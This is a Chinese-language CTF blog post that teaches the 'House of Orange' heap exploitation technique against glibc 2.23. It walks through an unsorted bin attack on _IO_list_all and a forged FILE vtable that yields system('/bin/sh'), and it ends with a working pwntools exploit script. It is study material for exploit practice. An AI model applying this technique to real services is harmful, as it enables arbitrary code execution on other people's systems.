house_of_orange

前言

关于orange前面topchunk构造出unsortedbin的利用手法早就已经学了,但是后面io的攻击始终没有接触,刚好最近在出题,于是学了一下

参考链接:

https://blog.wjhwjhn.com/posts/house-of-orange-%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/

https://www.cnblogs.com/xshhc/p/17327672.html

题目特点

1.一般libc版本是2.23

2.题目中并没有free函数

3.保护全开

4.堆溢出

利用过程

1.利用topchunk,构造出unsortedbin(即修改topchunk的size然后申请一个比topchunk.size更大的堆块)

2.泄露出libc和heap的地址

3.利用unsortedbin attack修改_IO_list_all的地址为main_arena+88

4.申请出smallbin同时在堆上伪造io(注意这3.4需要在一个步骤进行)

原理

第一部分,利用topchunk来free 先来讲解第一部分,也就是利用topchunk来free从而得到堆地址和libc基址。 这个方法利用的就是当topchunk的size不足够申请的时候,malloc函数会重新申请一块区域作为topchunk,并且把当前的topchunk free掉到unsorted bin,所以我们就可以尝试修改topchunk的size,修改到不足够的大小,然后再申请一次比修改的topchunk的size要大的size

但是free的topchunk的size有一些要求(很多地方对这个介绍的很复杂,所以我想简单的来说)

  1. 不要太小,比如小于0x10(MINSIZE)就不行了
  2. topchunk的结束地址(当前地址 + size)要与页基址对齐,一般就是0x1000(结尾三个0)
  3. prev_inuse = 1

所以,当我们再次申请大于topchunk size的时候,就会进入unsorted bin,我们就可以leak libc了,并且可以同时泄露出堆地址

第二步是利用_IO_flush_all_lockp进行攻击 这个函数我在ByteCTF 2019 note_five的那道题中也用到过,到了这里终于可以好好解释一下了。

什么时候会触发这个函数? 当系统发生abort的时候,会利用_IO_flush_all_lockp来看看各个fp指针中还有没有数据没有输出的,如果有,那么就会调用_IO_OVERFLOW_IO_OVERFLOW这个函数是调用当前fp指针的vtable中的+0x18地址。

这个函数做了什么? 通过_IO_all_list获取到头指针,然后用fp->_chain来寻找下一个指针,直到0的时候停止。 所以,如果我们可以控制_IO_list_all,并且达成他要求的一些条件,那么我们就可以通过伪造vtable的_IO_OVERFLOW位置(+0x18)的方式来getshell。 不过在libc2.24以上就已经加入了对vtable范围的检测,所以在这里我们的测试环境都是在libc2.23下(ubuntu 16.04)。

具体如何构造和利用? 由于我们现在没有权限直接对_IO_all_list进行写入地址(废话,如果可以直接写入,那么就直接打__malloc_hook不香吗) 但是我们可以用unsorted bin attack在_IO_all_list上写一个main_arena + 88的地址,然后在_IO_flush_all_lockp函数中就会认为这个地址是一个fp指针,并且判定这个指针的条件是否成立,如果成立的话执行_IO_OVERFLOW,当然由于main_arena的内容很难控制,所以我们无法直接修改这上面的内容进行getshell。

所以我们要考虑条件不成立的情况,也就是程序没有再次发生异常(因为上诉中vtable的值不受控,如果vtable的值不正确,就可能会发生异常),程序就会到fp->_chain继续查找下一个指针。调试可以发现fp->_chain正好就是smallbin[4]的位置,对应的存放的smallbin size为0x60,所以我们如果可以修改这个位置为一个可控的地址,那么就可以成功伪造一个下一个fp指针达到getshell的目的。

怎么样才能写入堆地址到smallbin[4]呢? 当你malloc的时候,程序会去看unsorted bin有没有符合的size,这个时候会把unsorted bin拿出来检测,如果大小不合适的话,这时候会先放到small bin中去。 所以如果我们构造一个size为0x60的unsorted bin,然后再free它,那么就可以成功的让他进入smallbin,在那里写入的地址就是这个堆的地址,而这个堆内容被我们提前布置好,就可以成功getshell了。

堆上需要布置哪些东西呢? 我们需要布置的内容有:

1
2
3
4
5
6
7
8
9
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

我们知道if是从左到右依次执行的,如果前面的不符合后面的也不会执行,所以我们可以构造下面两者中任意一个。 1.(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 2.(_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

把vtable的值写入一个可控的位置,并且修改vtable+0x18的位置为想要执行的函数

最后来说说这个流程: 构造后当程序调用到这个位置的fp(前提是前一块没有报错,概率是1/2,因为在main_arena上的fp->_mode的值是不可控的)。 并且判定条件成立,就会去vtable表中执行_IO_OVERFLOW,执行了我们修改的函数。 顺带一提的是,当执行_IO_OVERFLOW的时候,传入的第一个参数就是,这个fp的地址,所以说,如果我们可以修改这个伪造fp的头部位置为/bin/sh,并且伪造vtable中IO_overflow位置为system,那么就可以成功getshell了。 所以我们可以修改我们的可控位置,也就是fp的地址为想要执行的内容,但是一般来说直接修改头部位置,也就是_flags的位置是不太好的,不过由于这里根本没有用到_flags,所以我们可以直接修改。 如果不可以修改_flags的情况,那么就在他后面写一个;sh;,这样的话由于;的隔开,前面后面的语句都会认为是错误的,所以也成功执行了sh。

我们有一个方法可以同时完成以上步骤,就是一次性写好所有的构造数据在堆上,这时候malloc一次和原来的数据大小不一样的size。 这时候的执行步骤的这样的。 1.执行unsorted bin attack,修改BK->fd = main_arena + 88 2.malloc chunk发现unsorted bin中的size和要申请的size大小不匹配,所以把unsorted bin中的数据放到了smallbin中,具体是哪块位置呢?这时候就要看size了,这里构造的size是0x60,所以就会进入到smallbin[4]中,这里对应的内容就是fp->_chain。 3.由于链表被破坏了,所以在之后的检测发生了报错,这个报错就会调用到_IO_flush_all_lockp,而这里就会对_IO_list_all进行遍历,由于1中修改了_IO_list_allmain_arena + 88,这时候就会去看对应数据符不符合要求。 如果这里符合要求,那么就会调用这里vtable的IO_overflow,由于这里的数据我们没有构造过,所以就会发生又一次异常,getshell失败了(1/2)。 如果这里不符合要求,就会去看这里的fp->_chain的位置,正好是我们伪造的smallbin[4]的地方,这时候fp指针指向我们伪造的堆块,堆块的对应内容符合要求,就会去我们伪造的可控的vtable执行_IO_OVERFLOW,而这里被我们伪造成system,并且我们修改这个fp的头部位置为/bin/sh,所以当调用的时候就会把这个作为参数去调用,最后就是执行了system("/bin/sh"),也就成功getshell了。

例题:

题目是自己出的,等什么时候那边使用了再放出来吧

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
add(0,0x30)
edit(0,0x40,b'A'*0x30+p64(0)+p64(0xfc1))

add(1,0x1000)
add(2,0x400)
show(2)
libcbase=uu64()-0x3c5188
lg("libcbase")
io_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']
fd=libcbase+0x3c4b78

edit(2,0x10,b'A'*0xf+b'B')
show(2)
ru(b'B')
heapbase=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x40
lg("heapbase")

vtable=heapbase+0x450
payload = b'a' * 0x400
fake_file = b'/bin/sh\x00' + p64(0x61)
fake_file += p64(system) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xc0,b'\x00')
fake_file += p64(0) * 3
fake_file += p64(vtable+0xf0-0x18)
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(2,len(payload),payload)
add(3,0x10)

ia()

house_of_orange
http://blogyoulin.top/2024/03/15/house-of-orange/
Author
John Doe
Posted on
March 15, 2024
Licensed under